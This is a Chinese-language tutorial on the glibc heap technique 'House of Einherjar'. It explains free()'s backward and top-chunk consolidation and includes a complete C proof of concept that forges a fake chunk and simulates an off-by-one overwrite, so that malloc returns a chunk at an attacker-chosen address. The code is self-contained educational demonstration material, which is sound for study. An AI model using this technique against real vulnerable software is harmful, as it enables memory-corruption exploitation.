House Of Einherjar
漏洞效果:可以强制使得malloc返回一个几乎任意地址的chunk
利用原理:
当释放堆块下一块为top_chunk时,free会与相邻后向地址进行合并
free函数:
后向合并:
函数执行流程:
判断被释放堆块p的inuse标志位是否为0,为0则进行if中内容==》
记录相邻堆块p的prev_size值
size为size+prev_size
堆块p的指针最后是由chunk_at_offset()函数决定==》
将原本p指针位置加上s偏移后的位置作为合并堆块的新指针==》
在free函数中,就是原本p指针需要减去一个后向堆块size(p->prev_size)大小的偏移后得到合并堆块的新指针
与top_chunk合并:
函数执行流程:
在执行set_head()函数后,合并堆块的size会变为两个堆块的总和,并且top_chunk的指针会指向被合并的堆块p的位置==》top_chunk将p吞并,并取代p的位置
例:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
uint8_t* a;
uint8_t* b;
uint8_t* d;
a = (uint8_t*) malloc(0x38);
//创建一个0x48大小的堆块,将malloc指针赋给a
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding:%#x\n", real_a_size);
size_t fake_chunk[6];
//创建数组fake_chunk
fake_chunk[0] = 0x100;
fake_chunk[1] = 0x100;
fake_chunk[2] = (size_t) fake_chunk;
fake_chunk[3] = (size_t) fake_chunk;
fake_chunk[4] = (size_t) fake_chunk;
fake_chunk[5] = (size_t) fake_chunk;
//在数组下标处赋值
printf("Our fake chunk at %p looks like:\n", fake_chunk);
b = (uint8_t*) malloc(0xf8);
//创建一个0x108大小的chunk b,将malloc指针赋给b变量
int real_b_size = malloc_usable_size(b);
printf("b: %p\n", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
printf("\nb.size: %#lx\n", *b_size_ptr);
a[real_a_size] = 0;
//将chunk b的inuse标志位修改成0
printf("b.size: %#lx\n", *b_size_ptr);
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
fake_chunk[1] = fake_size;
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d);
}
创建chunk a:
修改数组内容:
==》将prev_size和size设置为0x100,fd,bk,fd_nextsize,bk_nextsize设置为fake_chunk自身地址==》
绕过free()函数向后合并时最后的chunk检查
创建chunk b:
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
==》
==》将chunk b的malloc指针-0x8位置==》将chunk b的size值放在b_size_ptr变量中
a[real_a_size] = 0;
==》
==》a[n]以chunk a的malloc指针为起始的指针数组==》数组下标n指向的就是第n+1字节的地址==》
a[real_a_size]指向的是以chunk a的malloc指针为起始,第real_a_size+1个字节的位置等于0(模仿off by one)==》覆盖chunk b的inuse标志位为0
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
b-sizeof(size_t)*2==》chunk b的malloc指针减去两个地址位宽==》chunk b的头指针
(uint8_t*)fake_chunk==》伪造堆块的头指针
===》获得伪造的堆块的size==》0xffff8000006033c0是一个负数
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
fake_chunk[1] = fake_size;
real_a_size-sizeof(size_t)==》chunk a与chunk b公用的chunk b的prev_size地址==》
模拟通过对chunk a赋值后,影响chunk b的prev_size==》
(size_t)&a[real_a_size-sizeof(size_t)] = fake_size;==》chunk b的prev_size保存着fake_size==》
fake_chunk[1] = fake_size;==》将fake_chunk的size部分修改成fake_size
释放chunk b:
fake_chunk与chunk b合并:
首先检查inuse标志位==》0==》相邻地址的堆块处于释放状态==》
根据chunk b中的prev_size向前寻找是否存在一个大小为0xffff8000006033c0大小的堆块==》
找到fake_chunk==》fake_chunk的size又是0xffff8000006033c0==》
free()函数向后合并机制:
已部署fake_chunk的fd,bk,fd_nextsize,bk_nextsize==》绕过unlink检查==》
chunk b与fake_chunk合并为fake_size+chunk b size大小的堆块==》
大堆块的头指针为fake_chunk的头指针0x7fffffffdc80==》
大堆块与top chunk合并:
chunk b与top chunk紧邻==》大堆块与top chunk合并==》
top chunk size==old_top_size+fake_chunk_size+chunk_b_size
申请0x200大小得堆块:
在bin中没有满足条件的空闲块==》向top_chunk申请一个size为0x210大小的堆块==》
top_chunk的头指针为fake_chunk==》0x7fffffffdc80==》
被启用的堆块就是以fake_chunk为头指针,size为0x210的堆块==》
====》
伪造的fake_chunk被当作正常堆块启用
漏洞利用总结:
1、需要有溢出漏洞可以写物理相邻的高地址的prev_size与prev_inuse部分
2、需要计算目的fake_chunk与chunk_b地址之间的差==》需要泄漏地址
3、需要在目的chunk附近构造相应的fake chunk==》绕过unlink的检测
4、在最后释放chunk时要保证下一个chunk是top chunk,若不是则无法合并top chunk